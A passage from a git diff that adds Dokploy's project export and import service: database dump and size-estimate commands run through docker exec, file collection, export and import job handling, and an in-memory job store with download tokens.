runToFile, + safeErrorMessage, +} from "./remote-fs"; +import { SERVICE_ID_FIELD, scopedServices } from "./service-kinds"; +import type { + DumpIndex, + Emit, + ExportScope, + ServiceType, + UsedBy, + Warning, +} from "./types"; +import { MAX_EMBEDDED_DUMP_BYTES } from "./types"; + +export type { DumpIndex } from "./types"; + +export const LIBSQL_DATA_DIR = "iku.db"; + +const getMongoInstanceDumpCommand = ( + databaseUser: string, + databasePassword: string, +) => + `docker exec -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --archive --gzip'`; + +export const DUMPABLE_DB_TYPES: ServiceType[] = [ + "postgres", + "mysql", + "mariadb", + "mongo", + "libsql", +]; + +type DumpCommand = { command: string; ext: string; containerSearch: string }; + +export const DUMP_EXT: Record = { + postgres: "sql.gz", + mysql: "sql.gz", + mariadb: "sql.gz", + mongo: "archive.gz", + libsql: "tar.gz", +}; + +export const buildDumpCommand = ( + serviceType: ServiceType, + service: Record, +): DumpCommand | undefined => { + const appName = service.appName as string; + const containerSearch = getServiceContainerCommand(appName); + switch (serviceType) { + case "postgres": + return { + command: getPostgresBackupCommand( + service.databaseName as string, + service.databaseUser as string, + ), + ext: DUMP_EXT[serviceType] as string, + containerSearch, + }; + case "mysql": + return { + command: getMysqlBackupCommand( + service.databaseName as string, + service.databaseRootPassword as string, + ), + ext: DUMP_EXT[serviceType] as string, + containerSearch, + }; + case "mariadb": + return { + command: getMariadbBackupCommand( + service.databaseName as string, + service.databaseUser as string, + service.databasePassword as string, + ), + ext: DUMP_EXT[serviceType] as string, + containerSearch, + }; + case "mongo": + return { + command: getMongoInstanceDumpCommand( + service.databaseUser as string, + service.databasePassword as string, + ), + ext: DUMP_EXT[serviceType] as string, + containerSearch, + }; + case "libsql": + return { + command: getLibsqlBackupCommand(LIBSQL_DATA_DIR), + ext: DUMP_EXT[serviceType] as string, + containerSearch, + }; + default: + return undefined; + } +}; + +export const buildComposeDumpCommand = ( + backup: Record, +): DumpCommand | undefined => { + const command = generateBackupCommand({ + ...backup, + backupType: "compose", + } as BackupSchedule); + const ext = DUMP_EXT[backup.databaseType as string]; + if (!command || !ext) return undefined; + return { + command, + ext, + containerSearch: getComposeContainerCommand( + backup.appName as string, + (backup.serviceName as string | null) ?? "", + backup.composeType as "stack" | "docker-compose" | undefined, + ), + }; +}; + +export const buildFullDumpScript = ({ + containerSearch, + command, +}: DumpCommand): string => + `set -eo pipefail; CONTAINER_ID=$(${containerSearch}); if [ -z "$CONTAINER_ID" ]; then echo "Container not found" >&2; exit 1; fi; ${command}`; + +export type RunDumpToFile = ( + serverId: string | null, + dumpCommand: DumpCommand, + target: Location, +) => Promise; + +export const runDumpToFile: RunDumpToFile = (serverId, dumpCommand, target) => + runToFile(serverId, buildFullDumpScript(dumpCommand), target); + +export type CreateDumpsOptions = { + emit?: Emit; + runDump?: RunDumpToFile; +}; + +export const createDumps = async ( + db: TransferDb, + tree: ProjectTree, + scope: ExportScope, + workDir: Location, + opts: CreateDumpsOptions = {}, +): Promise<{ dumps: DumpIndex[]; warnings: Warning[] }> => { + const emit = opts.emit ?? (() => {}); + const runDump = opts.runDump ?? runDumpToFile; + const dumps: DumpIndex[] = []; + const warnings: Warning[] = []; + + if (scope.dumps.mode === "none") { + return { dumps, warnings }; + } + + const dumpsDir = at(workDir, "dumps"); + if (scope.dumps.mode === "embed") { + await mkdirp(dumpsDir); + } + + for (const { serviceType, environmentId, service } of scopedServices( + tree, + scope, + )) { + const serverId = (service.serverId as string | null) ?? null; + const appName = service.appName as string; + + if (serviceType === "compose") { + const composeId = service[SERVICE_ID_FIELD.compose] as string; + const backups = (service.backups as Record[]) ?? []; + for (const backup of backups) { + const dumpCountBefore = dumps.length; + await dumpOne(db, scope, dumpsDir, emit, runDump, dumps, warnings, { + serviceType: "compose", + serviceId: composeId, + fileKey: backup.backupId as string, + environmentId, + appName, + serverId, + built: buildComposeDumpCommand(backup), + backupIds: [backup.backupId as string], + }); + if (dumps.length === dumpCountBefore) { + continue; + } + warnings.push({ + code: "COMPOSE_DUMP_NOT_RESTORABLE", + severity: "warning", + message: `The dump for compose service "${appName}" will be included in the bundle, but compose dumps can't be restored automatically on import; it will need to be restored manually.`, + affected: [ + { + serviceId: composeId, + serviceType: "compose", + serviceName: appName, + environmentId, + }, + ], + }); + } + continue; + } + + if (!DUMPABLE_DB_TYPES.includes(serviceType)) { + continue; + } + + const serviceId = service[SERVICE_ID_FIELD[serviceType]] as string; + const backupIds = ( + (service.backups as Record[] | undefined) ?? [] + ).map((b) => b.backupId as string); + const dumpCountBefore = dumps.length; + await dumpOne(db, scope, dumpsDir, emit, runDump, dumps, warnings, { + serviceType, + serviceId, + environmentId, + appName, + serverId, + built: buildDumpCommand(serviceType, service), + backupIds, + }); + if (serviceType === "mongo" && dumps.length > dumpCountBefore) { + warnings.push({ + code: "MONGO_ADMIN_USERS_NOT_RESTORED", + severity: "info", + message: `The mongo dump for "${appName}" restores every database except admin and config, so extra users or roles defined there are not recreated; only the root credentials stored in Dokploy are.`, + affected: [ + { serviceId, serviceType, serviceName: appName, environmentId }, + ], + }); + } + } + + if (!dumps.some((dump) => dump.mode === "embed")) { + await remove(dumpsDir).catch(() => {}); + } + return { dumps, warnings }; +}; + +type DumpOneOptions = { + serviceType: ServiceType; + serviceId: string; + fileKey?: string; + environmentId: string; + appName: string; + serverId: string | null; + built: DumpCommand | undefined; + backupIds: string[]; +}; + +const dumpOne = async ( + db: TransferDb, + scope: ExportScope, + dumpsDir: Location, + emit: Emit, + runDump: RunDumpToFile, + dumps: DumpIndex[], + warnings: Warning[], + { + serviceType, + serviceId, + fileKey, + environmentId, + appName, + serverId, + built, + backupIds, + }: DumpOneOptions, +) => { + if (!built) { + return; + } + const key = fileKey ?? serviceId; + const usedBy: UsedBy = { + serviceId, + serviceType, + serviceName: appName, + environmentId, + }; + + if (scope.dumps.mode === "embed") { + const target = at(dumpsDir, `${key}.${built.ext}`); + try { + await runDump(serverId, built, target); + const size = await fileSize(target); + if (size > MAX_EMBEDDED_DUMP_BYTES) { + await remove(target); + warnings.push({ + code: "DUMP_SKIPPED_TOO_LARGE", + severity: "warning", + message: `Dump for "${appName}" is ${size} bytes, over the ${MAX_EMBEDDED_DUMP_BYTES} byte embed limit; skipped.`, + affected: [usedBy], + }); + return; + } + dumps.push({ + serviceId, + serviceType, + mode: "embed", + ext: built.ext, + path: `dumps/${key}.${built.ext}`, + bytes: size, + }); + emit(`Dumped ${serviceType} "${appName}" (${size} bytes)`); + } catch (error) { + const detail = safeErrorMessage(error); + emit(`Failed to dump ${serviceType} "${appName}": ${detail}`); + warnings.push({ + code: "DUMP_FAILED", + severity: "warning", + message: `Dump for "${appName}" failed: ${detail}`, + affected: [usedBy], + }); + await remove(target).catch(() => {}); + } + return; + } + + if (backupIds.length === 0) { + return; + } + const lastSuccessful = await db.query.deployments.findMany({ + where: (fields, { inArray, eq, and }) => + and(inArray(fields.backupId, backupIds), eq(fields.status, "done")), + orderBy: (fields, { desc }) => desc(fields.createdAt), + limit: 1, + }); + const deployment = lastSuccessful[0]; + if (!deployment) { + return; + } + const backupRow = await db.query.backups.findFirst({ + where: (fields, { eq }) => + eq(fields.backupId, deployment.backupId as string), + }); + if (!backupRow) { + return; + } + dumps.push({ + serviceId, + serviceType, + mode: "referenceLastBackup", + destinationId: backupRow.destinationId, + keyPrefix: `${appName}/${backupRow.prefix.replace(/^\/+|\/+$/g, "")}/`, + }); +}; diff --git a/packages/server/src/services/project-export-import/estimate.ts b/packages/server/src/services/project-export-import/estimate.ts new file mode 100644 index 000000000..bd1752751 --- /dev/null +++ b/packages/server/src/services/project-export-import/estimate.ts @@ -0,0 +1,156 @@ +import { paths } from "@dokploy/server/constants"; +import { getServiceContainerCommand } from "@dokploy/server/utils/backups/utils"; +import { + execAsync, + execAsyncRemote, +} from "@dokploy/server/utils/process/execAsync"; +import { quote } from "shell-quote"; +import { DUMPABLE_DB_TYPES, LIBSQL_DATA_DIR } from "./dumps"; +import type { ProjectTree } from "./queries"; +import { escapeShellArg } from "./remote-fs"; +import { scopedServices } from "./service-kinds"; +import type { ExportScope, ServiceType } from "./types"; + +export type RunSizeProbe = ( + serverId: string | null, + command: string, +) => Promise; + +const defaultProbe: RunSizeProbe = async (serverId, command) => { + const { stdout } = serverId + ? await execAsyncRemote(serverId, command) + : await execAsync(command); + return stdout; +}; + +const inContainer = (appName: string, envs: string, script: string) => + `CONTAINER_ID=$(${getServiceContainerCommand(appName)}); if [ -z "$CONTAINER_ID" ]; then exit 1; fi; docker exec ${envs} -i "$CONTAINER_ID" sh -c ${quote([script])}`; + +export const buildDatabaseSizeCommand = ( + serviceType: ServiceType, + service: Record, +): string | undefined => { + const appName = service.appName as string; + const env = (name: string, value: unknown) => + `-e ${name}=${quote([String(value ?? "")])}`; + switch (serviceType) { + case "postgres": + return inContainer( + appName, + `${env("DB_NAME", service.databaseName)} ${env("DB_USER", service.databaseUser)}`, + 'psql -U "$DB_USER" -d "$DB_NAME" -tAc "SELECT pg_database_size(current_database())"', + ); + case "mysql": + return inContainer( + appName, + `${env("DB_NAME", service.databaseName)} ${env("DB_PASS", service.databaseRootPassword)}`, + 'mysql -uroot --password="$DB_PASS" -N -s "$DB_NAME" -e "SELECT COALESCE(SUM(data_length+index_length),0) FROM information_schema.tables WHERE table_schema=DATABASE()"', + ); + case "mariadb": + return inContainer( + appName, + `${env("DB_NAME", service.databaseName)} ${env("DB_USER", service.databaseUser)} ${env("DB_PASS", service.databasePassword)}`, + 'mariadb -u"$DB_USER" --password="$DB_PASS" -N -s "$DB_NAME" -e "SELECT COALESCE(SUM(data_length+index_length),0) FROM information_schema.tables WHERE table_schema=DATABASE()"', + ); + case "mongo": + return inContainer( + appName, + `${env("DB_USER", service.databaseUser)} ${env("DB_PASS", service.databasePassword)}`, + 'mongosh --quiet -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --eval "db.getMongo().getDBNames().filter(function(n){return !/^(admin|config|local)$/.test(n)}).reduce(function(s,n){return s+db.getSiblingDB(n).stats().dataSize},0)"', + ); + case "libsql": + return inContainer( + appName, + env("DB_NAME", LIBSQL_DATA_DIR), + 'du -sk "/var/lib/sqld/$DB_NAME" | awk "{print \\$1*1024}"', + ); + default: + return undefined; + } +}; + +export const buildDirectorySizeCommand = (path: string): string => + `du -sk ${escapeShellArg(path)} | awk '{print $1*1024}'`; + +const parseBytes = (output: string): number => { + const value = Number.parseInt(output.trim().split("\n").at(-1) ?? "", 10); + return Number.isFinite(value) && value > 0 ? value : 0; +}; + +const safeProbe = async ( + probe: RunSizeProbe, + serverId: string | null, + command: string | undefined, +): Promise => { + if (!command) return 0; + try { + return parseBytes(await probe(serverId, command)); + } catch { + return 0; + } +}; + +export type EstimateSizesOptions = { + probe?: RunSizeProbe; + pathsFn?: typeof paths; +}; + +export const estimateSizes = async ( + tree: ProjectTree, + scope: ExportScope, + opts: EstimateSizesOptions = {}, +): Promise<{ estimatedDumpBytes: number; estimatedFilesBytes: number }> => { + const probe = opts.probe ?? defaultProbe; + const pathsFn = opts.pathsFn ?? paths; + const dumpJobs: Promise[] = []; + const fileJobs: Promise[] = []; + + for (const { serviceType, service } of scopedServices(tree, scope)) { + const serverId = (service.serverId as string | null) ?? null; + const appName = service.appName as string | undefined; + if (!appName) continue; + if ( + scope.dumps.mode === "embed" && + DUMPABLE_DB_TYPES.includes(serviceType) + ) { + dumpJobs.push( + safeProbe( + probe, + serverId, + buildDatabaseSizeCommand(serviceType, service), + ), + ); + } + const remotePaths = pathsFn(serverId !== null); + if (serviceType === "application" && scope.files.applicationSources) { + fileJobs.push( + safeProbe( + probe, + serverId, + buildDirectorySizeCommand( + `${remotePaths.APPLICATIONS_PATH}/${appName}`, + ), + ), + ); + } + if (serviceType === "compose" && scope.files.composeFiles) { + fileJobs.push( + safeProbe( + probe, + serverId, + buildDirectorySizeCommand(`${remotePaths.COMPOSE_PATH}/${appName}`), + ), + ); + } + } + + const [dumpSizes, fileSizes] = await Promise.all([ + Promise.all(dumpJobs), + Promise.all(fileJobs), + ]); + const sum = (values: number[]) => values.reduce((a, b) => a + b, 0); + return { + estimatedDumpBytes: sum(dumpSizes), + estimatedFilesBytes: sum(fileSizes), + }; +}; diff --git a/packages/server/src/services/project-export-import/export-job.ts b/packages/server/src/services/project-export-import/export-job.ts new file mode 100644 index 000000000..51642ff56 --- /dev/null +++ b/packages/server/src/services/project-export-import/export-job.ts @@ -0,0 +1,308 @@ +import { randomUUID } from "node:crypto"; +import { appendFile, mkdir } from "node:fs/promises"; +import { dirname, join } from "node:path"; +import { IS_CLOUD, paths } from "@dokploy/server/constants"; +import { TRPCError } from "@trpc/server"; +import { capture } from "./capture"; +import { + buildBundleObjectKey, + slugifyProjectName, + uploadBundleToDestination, +} from "./delivery"; +import { createDumps } from "./dumps"; +import { collectFiles } from "./files"; +import { + ACTIVE_EXPORT_STATUSES, + createExportJob, + deleteExportJob, + type ExportJob, + getExportJob, + issueDownloadToken, + listExpiredExportJobs, + updateExportJob, +} from "./jobs"; +import { loadProjectTree, type TransferDb } from "./queries"; +import { + fileSize, + type Location, + prepareRoot, + remove, + safeErrorMessage, + transferRoot, +} from "./remote-fs"; +import { detectRequirements } from "./requirements"; +import { serialize } from "./serialize"; +import { scopedServices } from "./service-kinds"; +import type { CaptureSource, ExportScope } from "./types"; +import { BUNDLE_EXTENSION, exportScopeSchema } from "./types"; +import type { InstanceVersions, RunVersionProbe } from "./versions"; +import { collectDockerVersions } from "./versions"; +import { detectWarnings } from "./warnings"; + +export type ExportDeliver = + | { kind: "download" } + | { kind: "destination"; destinationId: string }; + +export type RunExportInput = { + source: CaptureSource; + scope: ExportScope; + passphrase: string; + deliver?: ExportDeliver; + buildServerId?: string | null; +}; + +export type RunExportContext = { + db: TransferDb; + userId: string; + userEmail: string; + organizationId: string; + dokployVersion: string; + instance?: Omit; + pathsFn?: typeof paths; + probeVersion?: RunVersionProbe; +}; + +export const fullExportScope = (): ExportScope => + exportScopeSchema.parse({ dumps: { mode: "embed" } }); + +export const bundleBuildServer = async ( + db: TransferDb, + projectId: string, + scope: ExportScope, +): Promise => { + const tree = await loadProjectTree(db, { kind: "project", id: projectId }); + const serverIds = new Set( + tree + ? scopedServices(tree, scope).map( + ({ service }) => (service.serverId as string | null) ?? null, + ) + : [], + ); + const remote = [...serverIds].find((id): id is string => !!id); + if (IS_CLOUD) { + if (!remote) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: + "On Dokploy Cloud the export is built on the project's server, but none of the selected services runs on a remote server", + }); + } + return remote; + } + return serverIds.size === 1 && remote ? remote : null; +}; + +const discardExportFiles = async (job: ExportJob) => { + if (!job.workspace) return; + await remove(job.workspace).catch(() => {}); + await remove({ + ...job.workspace, + path: `${job.workspace.path}${BUNDLE_EXTENSION}`, + }).catch(() => {}); +}; + +export const runExport = ( + input: RunExportInput, + ctx: RunExportContext, +): { exportId: string } => { + const job = createExportJob(randomUUID(), ctx.userId, ctx.organizationId); + job.workspace = transferRoot( + job.exportId, + input.buildServerId ?? null, + ctx.pathsFn ?? paths, + ); + void executeExport(job, input, ctx); + return { exportId: job.exportId }; +}; + +export const runExportBatch = ( + inputs: RunExportInput[], + ctx: RunExportContext, +): { exportIds: string[] } => { + const jobs = inputs.map((input) => { + const job = createExportJob(randomUUID(), ctx.userId, ctx.organizationId); + job.workspace = transferRoot( + job.exportId, + input.buildServerId ?? null, + ctx.pathsFn ?? paths, + ); + return { job, input }; + }); + void (async () => { + for (const { job, input } of jobs) { + await executeExport(job, input, ctx); + } + })(); + return { exportIds: jobs.map(({ job }) => job.exportId) }; +}; + +const executeExport = ( + job: ExportJob, + input: RunExportInput, + ctx: RunExportContext, +): Promise => + buildExport(job, input, ctx) + .catch(async (error) => { + updateExportJob(job.exportId, { + status: "error", + error: safeErrorMessage(error), + }); + await discardExportFiles(job); + }) + .finally(() => { + // The TTL runs from createdAt; restart it so the result stays available + // for the full window however long the export (or its batch) took. + job.createdAt = Date.now(); + }); + +const buildExport = async ( + job: ExportJob, + input: RunExportInput, + ctx: RunExportContext, +): Promise => { + const { exportId } = job; + const workDir = job.workspace as Location; + const { LOGS_PATH } = (ctx.pathsFn ?? paths)(); + await prepareRoot(workDir); + const bundle = { ...workDir, path: `${workDir.path}${BUNDLE_EXTENSION}` }; + const logPath = join(LOGS_PATH, `project-export-${exportId}.log`); + await mkdir(dirname(logPath), { recursive: true }); + + const emit = (message: string) => { + updateExportJob(exportId, { message }); + void appendFile( + logPath, + `[${new Date().toISOString()}] ${message}\n`, + ).catch(() => {}); + }; + + updateExportJob(exportId, { status: "capturing" }); + emit("Reading project tree..."); + const captureResult = await capture(ctx.db, input.source, input.scope, { + detectRequirements: (tree, scope) => + detectRequirements(ctx.db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }); + emit(`Captured ${captureResult.resources.services.length} services`); + const dockerVersions = await collectDockerVersions( + captureResult.tree, + input.scope, + ctx.probeVersion, + ); + + updateExportJob(exportId, { status: "dumping" }); + const { dumps, warnings: dumpWarnings } = await createDumps( + ctx.db, + captureResult.tree, + input.scope, + workDir, + { emit }, + ); + + updateExportJob(exportId, { status: "collecting-files" }); + const { warnings: fileWarnings } = await collectFiles( + captureResult.tree, + input.scope, + captureResult.requirements, + workDir, + { emit, pathsFn: ctx.pathsFn }, + ); + const jobWarnings = [...dumpWarnings, ...fileWarnings]; + + updateExportJob(exportId, { status: "serializing" }); + const estimatedDumpBytes = dumps.reduce( + (sum, dump) => sum + (dump.mode === "embed" ? dump.bytes : 0), + 0, + ); + await serialize( + { + resources: captureResult.resources, + inventory: { ...captureResult.inventory, estimatedDumpBytes }, + requirements: captureResult.requirements, + warnings: [...captureResult.warnings, ...jobWarnings], + dumps, + scope: input.scope, + organizationId: ctx.organizationId, + dokployVersion: ctx.dokployVersion, + instanceInfo: { ...ctx.instance, dockerVersions }, + exportedBy: { userId: ctx.userId, email: ctx.userEmail }, + }, + captureResult.secretsPlain, + input.passphrase, + workDir, + bundle, + ); + + const size = await fileSize(bundle); + const deliver = input.deliver ?? { kind: "download" }; + const summary = + jobWarnings.length > 0 + ? `Export complete with ${jobWarnings.length} warning(s)` + : "Export complete"; + + if (deliver.kind === "destination") { + updateExportJob(exportId, { message: "Uploading to destination..." }); + const destination = await ctx.db.query.destinations.findFirst({ + where: (fields, { eq }) => + eq(fields.destinationId, deliver.destinationId), + }); + if (!destination) { + throw new Error(`Destination ${deliver.destinationId} not found`); + } + const key = buildBundleObjectKey( + slugifyProjectName(captureResult.resources.project.name as string), + new Date().toISOString(), + ); + await uploadBundleToDestination(destination, bundle, key); + await remove(bundle); + updateExportJob(exportId, { + status: "done", + size, + deliveredKey: key, + deliveredDestinationId: destination.destinationId, + warnings: jobWarnings, + }); + emit(`${summary}, uploaded to ${key}`); + return; + } + + const downloadToken = issueDownloadToken(exportId); + updateExportJob(exportId, { + status: "done", + bundle, + size, + downloadToken, + warnings: jobWarnings, + }); + emit(`${summary} (${size} bytes)`); +}; + +export const cancelExport = async (exportId: string): Promise => { + const job = getExportJob(exportId); + if (!job) { + return; + } + if (ACTIVE_EXPORT_STATUSES.has(job.status)) { + throw new TRPCError({ + code: "CONFLICT", + message: + "This export is still running; wait for it to finish before cancelling it.", + }); + } + await discardExportFiles(job); + updateExportJob(exportId, { status: "cancelled" }); + deleteExportJob(exportId); +}; + +export const cleanupExpiredExports = async ( + now = Date.now(), +): Promise => { + const expired = listExpiredExportJobs(now).filter( + (job) => !ACTIVE_EXPORT_STATUSES.has(job.status), + ); + for (const job of expired) { + await discardExportFiles(job); + deleteExportJob(job.exportId); + } + return expired; +}; diff --git a/packages/server/src/services/project-export-import/files.ts b/packages/server/src/services/project-export-import/files.ts new file mode 100644 index 000000000..3727496d1 --- /dev/null +++ b/packages/server/src/services/project-export-import/files.ts @@ -0,0 +1,159 @@ +import { paths } from "@dokploy/server/constants"; +import type { ProjectTree } from "./queries"; +import { + at, + copyDir, + copyFile, + exists, + type Location, + remove, + safeErrorMessage, +} from "./remote-fs"; +import { buildUsedBy, SERVICE_ID_FIELD, scopedServices } from "./service-kinds"; +import type { Emit, ExportScope, Requirement, UsedBy, Warning } from "./types"; + +const GIT_SOURCE_TYPES = new Set([ + "git", + "github", + "gitlab", + "bitbucket", + "gitea", +]); + +const skipMessage = (from: Location, error: unknown) => + `Skipped ${from.path}${from.serverId ? ` (server ${from.serverId})` : ""}: ${safeErrorMessage(error)}`; + +const safeCopy = async ( + copy: () => Promise, + from: Location, + to: Location, +): Promise => { + try { + if (!(await exists(from))) { + return; + } + await copy(); + } catch (error) { + await remove(to).catch(() => {}); + return skipMessage(from, error); + } +}; + +const safeCopyDir = ( + from: Location, + to: Location, + opts?: { exclude?: string[] }, +) => safeCopy(() => copyDir(from, to, opts), from, to); + +const safeCopyFile = (from: Location, to: Location) => + safeCopy(() => copyFile(from, to), from, to); + +export type CollectFilesOptions = { + emit?: Emit; + pathsFn?: typeof paths; +}; + +export const collectFiles = async ( + tree: ProjectTree, + scope: ExportScope, + requirements: Requirement[], + workDir: Location, + opts: CollectFilesOptions = {}, +): Promise<{ warnings: Warning[] }> => { + const emit = opts.emit ?? (() => {}); + const pathsFn = opts.pathsFn ?? paths; + const warnings: Warning[] = []; + + const report = (skipped: string | undefined, affected: UsedBy[]) => { + if (!skipped) { + return; + } + emit(skipped); + warnings.push({ + code: "FILE_PULL_FAILED", + severity: "warning", + message: skipped, + affected, + }); + }; + + for (const { serviceType, environmentId, service } of scopedServices( + tree, + scope, + )) { + const serverId = (service.serverId as string | null) ?? null; + const appName = service.appName as string | null; + if (!appName) { + continue; + } + const remotePaths = pathsFn(serverId !== null); + const usedBy = buildUsedBy( + environmentId, + serviceType, + service, + service[SERVICE_ID_FIELD[serviceType]] as string, + ); + + if (serviceType === "application" && scope.files.applicationSources) { + const sourceType = service.sourceType as string; + const exclude = [".git", "node_modules"]; + if (GIT_SOURCE_TYPES.has(sourceType)) { + exclude.push("code"); + } + report( + await safeCopyDir( + { serverId, path: `${remotePaths.APPLICATIONS_PATH}/${appName}` }, + at(workDir, "files", "applications", appName), + { exclude }, + ), + [usedBy], + ); + } + + if (serviceType === "compose" && scope.files.composeFiles) { + report( + await safeCopyDir( + { serverId, path: `${remotePaths.COMPOSE_PATH}/${appName}` }, + at(workDir, "files", "compose", appName), + ), + [usedBy], + ); + } + + if (serviceType === "application" && scope.files.traefikRaw) { + report( + await safeCopyFile( + { + serverId, + path: `${remotePaths.DYNAMIC_TRAEFIK_PATH}/${appName}.yml`, + }, + at(workDir, "files", "traefik", `${appName}.yml`), + ), + [usedBy], + ); + } + } + + if (scope.files.customCertificates) { + for (const requirement of requirements) { + if (requirement.kind !== "certificate") { + continue; + } + const certName = requirement.originalId; + if (!certName) { + continue; + } + const serverId = requirement.serverId; + const remotePaths = pathsFn(serverId !== null); + report( + await safeCopyDir( + { serverId, path: `${remotePaths.CERTIFICATES_PATH}/${certName}` }, + at(workDir, "files", "certificates", certName), + ), + requirement.usedBy, + ); + } + } + + return { warnings }; +}; diff --git a/packages/server/src/services/project-export-import/import-job.ts b/packages/server/src/services/project-export-import/import-job.ts new file mode 100644 index 000000000..182791f00 --- /dev/null +++ b/packages/server/src/services/project-export-import/import-job.ts @@ -0,0 +1,143 @@ +import { TRPCError } from "@trpc/server"; +import { apply } from "./apply"; +import { + deleteImportJob, + getImportJob, + type ImportJob, + listExpiredImportJobs, + RUNNING_IMPORT_STATUSES, + updateImportJob, +} from "./jobs"; +import type { DeployCandidate } from "./post-apply"; +import { postApply } from "./post-apply"; +import type { TransferWriteDb } from "./queries"; +import { remove, safeErrorMessage } from "./remote-fs"; +import { restoreDumps } from "./restore"; + +export type RunImportContext = { + db: TransferWriteDb; + organizationId: string; + enqueueDeploy?: (candidates: DeployCandidate[]) => Promise; +}; + +const discardImportFiles = async (job: ImportJob | undefined) => { + if (!job?.root) return; + await remove(job.root).catch(() => {}); +}; + +export const runImport = (importId: string, ctx: RunImportContext): void => { + executeImport(importId, ctx).catch(async (error) => { + const job = getImportJob(importId); + updateImportJob(importId, { + status: job?.result ? "done" : "failed", + partial: !!job?.result, + error: safeErrorMessage(error), + }); + if (!job?.result) { + await discardImportFiles(job); + } + }); +}; + +const executeImport = async ( + importId: string, + ctx: RunImportContext, +): Promise => { + const job = getImportJob(importId); + if (!job) { + throw new Error(`Import job ${importId} not found`); + } + if (!job.snapshot || !job.plan || !job.secretsPlain || !job.workDir) { + throw new Error( + "Import job is missing snapshot/plan/secrets; inspect, unlock and plan it first", + ); + } + const { snapshot, plan, secretsPlain, workDir } = job; + + updateImportJob(importId, { + status: "applying", + message: "Applying to database...", + }); + const result = await apply( + ctx.db, + snapshot, + plan, + secretsPlain, + ctx.organizationId, + ); + updateImportJob(importId, { result }); + updateImportJob(importId, { + secretsPlain: undefined, + secretsOriginal: undefined, + }); + + updateImportJob(importId, { + status: "restoring", + message: "Restoring database dumps...", + }); + const restoreErrors = await restoreDumps(ctx.db, snapshot, result, workDir, { + emit: (message) => updateImportJob(importId, { message }), + }); + updateImportJob(importId, { restoreErrors }); + + updateImportJob(importId, { + status: "deploying", + message: "Copying files and preparing deployments...", + }); + const { deployCandidates, postApplyErrors } = await postApply( + ctx.db, + snapshot, + plan, + result, + workDir, + { + emit: (message) => updateImportJob(importId, { message }), + }, + ); + if (postApplyErrors.length > 0) { + restoreErrors.push(...postApplyErrors); + updateImportJob(importId, { restoreErrors }); + } + updateImportJob(importId, { deployCandidates }); + + if (ctx.enqueueDeploy && plan.deployAfterImport !== false) { + await ctx.enqueueDeploy(deployCandidates); + } + + const partial = restoreErrors.length > 0; + updateImportJob(importId, { + status: "done", + partial, + message: partial ? "Import completed with some errors" : "Import complete", + snapshot: undefined, + }); +}; + +export const cancelImport = async (importId: string): Promise => { + const job = getImportJob(importId); + if (!job) { + return; + } + if (RUNNING_IMPORT_STATUSES.has(job.status)) { + throw new TRPCError({ + code: "CONFLICT", + message: + "This import is still running; wait for it to finish before cancelling it.", + }); + } + await discardImportFiles(job); + deleteImportJob(importId); +}; + +export const cleanupExpiredImports = async ( + now = Date.now(), +): Promise => { + const expired = listExpiredImportJobs(now).filter( + (job) => !RUNNING_IMPORT_STATUSES.has(job.status), + ); + for (const job of expired) { + await discardImportFiles(job); + deleteImportJob(job.importId); + } + return expired; +}; diff --git a/packages/server/src/services/project-export-import/index.ts b/packages/server/src/services/project-export-import/index.ts new file mode 100644 index 000000000..726a300ed --- /dev/null +++ b/packages/server/src/services/project-export-import/index.ts @@ -0,0 +1,31 @@ +export * from "./apply"; +export * from "./appname"; +export * from "./capture"; +export * from "./cleanup"; +export * from "./conflicts"; +export * from "./crypto"; +export * from "./delivery"; +export * from "./deserialize"; +export * from "./dumps"; +export * from "./estimate"; +export * from "./export-job"; +export * from "./files"; +export * from "./import-job"; +export * from "./jobs"; +export * from "./migrations"; +export * from "./permission"; +export * from "./plan"; +export * from "./post-apply"; +export * from "./queries"; +export * from "./remote-fs"; +export * from "./requirements"; +export * from "./resolve"; +export * from "./restore"; +export * from "./rotate"; +export * from "./secret-fields"; +export * from "./secrets-review"; +export * from "./serialize"; +export * from "./service-kinds"; +export * from "./types"; +export * from "./versions"; +export * from "./warnings"; diff --git a/packages/server/src/services/project-export-import/jobs.ts b/packages/server/src/services/project-export-import/jobs.ts new file mode 100644 index 000000000..33b3869b2 --- /dev/null +++ b/packages/server/src/services/project-export-import/jobs.ts @@ -0,0 +1,294 @@ +import { randomBytes } from "node:crypto"; +import { TRPCError } from "@trpc/server"; +import type { DeployCandidate } from "./post-apply"; +import type { Location } from "./remote-fs"; +import type { + Plan, + RestoreError, + Snapshot, + TransferResult, + Warning, +} from "./types"; + +const JOB_TTL_MS = 60 * 60 * 1000; + +const createJobStore = () => { + const jobs = new Map(); + return { + set: (id: string, job: T): T => { + jobs.set(id, job); + return job; + }, + get: (id: string): T | undefined => jobs.get(id), + update: (id: string, patch: Partial): T | undefined => { + const job = jobs.get(id); + if (!job) return undefined; + Object.assign(job, patch); + return job; + }, + delete: (id: string): void => { + jobs.delete(id); + }, + list: (): T[] => [...jobs.values()], + listExpired: (now = Date.now()): T[] => + [...jobs.values()].filter((job) => now - job.createdAt > JOB_TTL_MS), + }; +}; + +export type ExportStatus = + | "pending" + | "capturing" + | "dumping" + | "collecting-files" + | "serializing" + | "done" + | "error" + | "cancelled"; + +export type ExportJob = { + exportId: string; + userId: string; + organizationId: string; + status: ExportStatus; + message?: string; + error?: string; + workspace?: Location; + bundle?: Location; + size?: number; + downloadToken?: string; + deliveredKey?: string; + deliveredDestinationId?: string; + warnings?: Warning[]; + createdAt: number; +}; + +const exportJobs = createJobStore(); +const tokenToExportId = new Map(); + +export const createExportJob = ( + exportId: string, + userId: string, + organizationId: string, +): ExportJob => + exportJobs.set(exportId, { + exportId, + userId, + organizationId, + status: "pending", + createdAt: Date.now(), + }); + +export const getExportJob = exportJobs.get; + +export const updateExportJob = ( + exportId: string, + patch: Partial< + Omit + >, +): ExportJob | undefined => exportJobs.update(exportId, patch); + +export const issueDownloadToken = (exportId: string): string | undefined => { + const job = exportJobs.get(exportId); + if (!job) { + return undefined; + } + const token = randomBytes(32).toString("hex"); + job.downloadToken = token; + tokenToExportId.set(token, exportId); + return token; +}; + +export const peekDownloadToken = (token: string): ExportJob | undefined => { + const exportId = tokenToExportId.get(token); + return exportId ? exportJobs.get(exportId) : undefined; +}; + +export const invalidateDownloadToken = (token: string): void => { + const exportId = tokenToExportId.get(token); + 